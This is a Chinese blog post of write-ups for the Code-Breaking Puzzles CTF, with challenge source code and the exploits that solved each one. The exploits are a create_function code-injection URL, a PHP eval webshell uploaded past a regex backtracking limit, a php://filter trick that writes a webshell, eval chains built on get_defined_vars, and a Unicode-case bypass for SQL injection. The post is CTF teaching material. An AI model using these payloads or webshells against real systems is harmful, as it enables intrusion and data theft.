Code-Breaking Puzzles 笔记

主页,web,嘤嘤嘤 2018-11-28

0x00 : 简介

平台地址 : https://code-breaking.com/

感谢p牛的题目. p牛博客 : https://www.leavesongs.com/

本篇博客主要搬运一下师傅们的writeup,感觉之后比赛能碰到类似思路.


0x01 : easy-function

环境 : Apache/2.4.25 (Debian) PHP/7.2.12

题目源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

题解来源 : http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/

如何在数字字母下划线都被禁用的情况下调用函数,苦思无果于是决定寄出fuzz大法:因为正则里用了^$,那么有没有可能在开头或结尾加入某个字符来绕过正则且函数依然能调用呢?

这个字符是%5C,不知道为什么把它加在函数名之前依然不影响正常调用函数.

于是绕过了正则,可以任意函数调用了.我们可以控制函数的第二个参数,有哪个函数第二个参数比较危险呢?经过漫长的查找最终发现 : PHP create_function()代码注入

列目录 : http://51.158.75.42:8087/?action=\create_function&arg=return%201;}print_r(scandir(%22/var/www/%22));//

拿flag : http://51.158.75.42:8087/?action=\create_function&arg=return%201;}print_r(file(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));//


0x02 : easy-function

环境 : Apache/2.4.25 (Debian) PHP/7.1.24

题目源码

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

本题主要的问题是 : 深悉正则(pcre)最大回溯/递归限制

本地创建一个上传页面

<html>
<head>
<meta charset="utf-8">
</head>
<body>

<form action="http://51.158.75.42:8088/" method="post" enctype="multipart/form-data">
    <input type="file" name="upfile" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

然后创建一个php文件

<?php
 @eval($_GET['saltyfishyu']);//AAAAAAAAA....
?>

加入很多个A,这里我大概加了100k个A,目的是A的数量超过pcre.backtrack_limit,使得无法通过第一个判断而创造文件.


0x03 : easy-phpmagic

环境 : Apache/2.4.10 (Debian) PHP/5.6.33

题目源码

The First Part :

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>

The Second Part :

<?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; ?></pre>

这个题目是以前说过的绕过死亡exit时候的一个技巧,file_put_contents的文件名是可以使用php伪协议的,也就是说,可以对文件内容进行base64_decode后再写入文件的

然后写入文件的后缀使用了另外一个小技巧,php在处理路径的时候,会递归的删除掉路径中存在的/. php & apache2 &操作系统之间的一些黑魔法

第二段代码还对log_name做了处理$log_name = $_SERVER['SERVER_NAME'] . $log_name;

这里本地测试了一下$_SERVER['SERVER_NAME']主要取的是HTTP头部中的HOST

这里我是这样写文件的 :

POST / HTTP/1.1
Host: php

domain=PD9waHAgQGV2YWwoJF9HRVRbJzEyMyddKTs/Pg&log=://filter/write=convert.base64-decode/resource=123.php/.

文件目录是 : '/data' . 你ip的md5值 . 你的php文件名

列目录 : http://51.158.75.42:8082/data/485ad506210374c60f99a0512bfa4a09/123.php?123=print_r(scandir(%22/var/www/%22));

拿flag : http://51.158.75.42:8082/data/485ad506210374c60f99a0512bfa4a09/123.php?123=print_r(file(%22/var/www/flag_phpmag1c_ur1%22));


0x04 : easy-phplimit

环境 : nginx/1.15.6 PHP/5.6.38

题目源码

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

代码为RCTF 2018r-cursive

不过环境由apache改为nginx

所以原题解的getallheaders()就无法使用,这里使用这个get_defined_vars()

以下为解题过程:

First :

GET /?code=var_dump(get_defined_vars()); HTTP/1.1

array(4) {
  ["_GET"]=>
  array(1) {
    ["code"]=>
    string(29) "var_dump(get_defined_vars());"
  }
  ["_POST"]=>
  array(0) {
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}

Second :

GET /?code=var_dump(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1

string(30) "print_r(scandir("/var/www/"));"

Third :

GET /?code=eval(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1

Array
(
    [0] => .
    [1] => ..
    [2] => flag_phpbyp4ss
    [3] => html
)

Finally :

GET /?code=eval(next(current(get_defined_vars())));&1=print_r(file("/var/www/flag_phpbyp4ss")); HTTP/1.1

0x05 : easy-nodechr

环境 :

题目源码

// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
    const app = new Koa()
    const router = new Router()
    const db = await sqlite.open(':memory:')

    await db.exec(`CREATE TABLE "main"."users" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "username" TEXT NOT NULL,
        "password" TEXT,
        CONSTRAINT "unique_username" UNIQUE ("username")
    )`)
    await db.exec(`CREATE TABLE "main"."flags" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "flag" TEXT NOT NULL
    )`)
    for (let user of config.users) {
        await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
    }
    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

    app.use(views(__dirname + '/views', {
        map: {
            html: 'underscore'
        },
        extension: 'html'
    })).use(bodyParser()).use(session(app))
    
    app.use(router.routes()).use(router.allowedMethods());
    
    app.keys = config.signed
    app.context.db = db
    app.context.router = router
    app.listen(3000)
}

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

async function static(ctx, next) {
    await send(ctx, ctx.path)
}

async function admin(ctx, next) {
    if(!ctx.session.user) {
        ctx.status = 303
        return ctx.redirect(ctx.router.url('login'))
    }

    await ctx.render('admin', {
        'user': ctx.session.user
    })
}

async function source(ctx, next) {
    await send(ctx, basename(__filename))
}

main()

本题的主要代码在这里 :

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

禁用了union,select,但在登录中使用了危险函数toUpperCase()

而这题的bypass技巧我在我的xss练习笔记(一)0x0E中有提到过

这里引用p牛的文章Fuzz中的javascript大小写特性,提到有些字符通过大小写转换可以实现bypass

"ı".toUpperCase() == I
"ſ".toUpperCase() == S
"K".toLowerCase() == k

payload :

POST /login/ HTTP/1.1

username=1&password=' un%c4%b1on %c5%bfelect 1,(%c5%bfelect flag from flags),3'


本文由 saltyfishyu 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论